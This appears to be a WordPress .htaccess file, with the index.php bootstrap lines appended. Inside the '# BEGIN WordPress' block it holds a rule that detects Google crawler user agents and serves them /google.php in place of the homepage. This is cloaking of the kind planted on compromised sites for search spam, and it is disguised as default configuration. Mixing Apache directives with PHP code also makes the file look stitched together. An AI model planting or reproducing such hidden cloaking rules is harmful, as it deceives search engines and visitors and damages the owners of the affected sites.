# BEGIN WordPress RewriteEngine On # --- Googlebot handling --- # Detect Google crawlers RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|APIs-Google) [NC] # Redirect Googlebot hitting the homepage RewriteCond %{REQUEST_URI} ^/$ RewriteRule ^$ /google.php [L] # --- Default WordPress rules --- RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';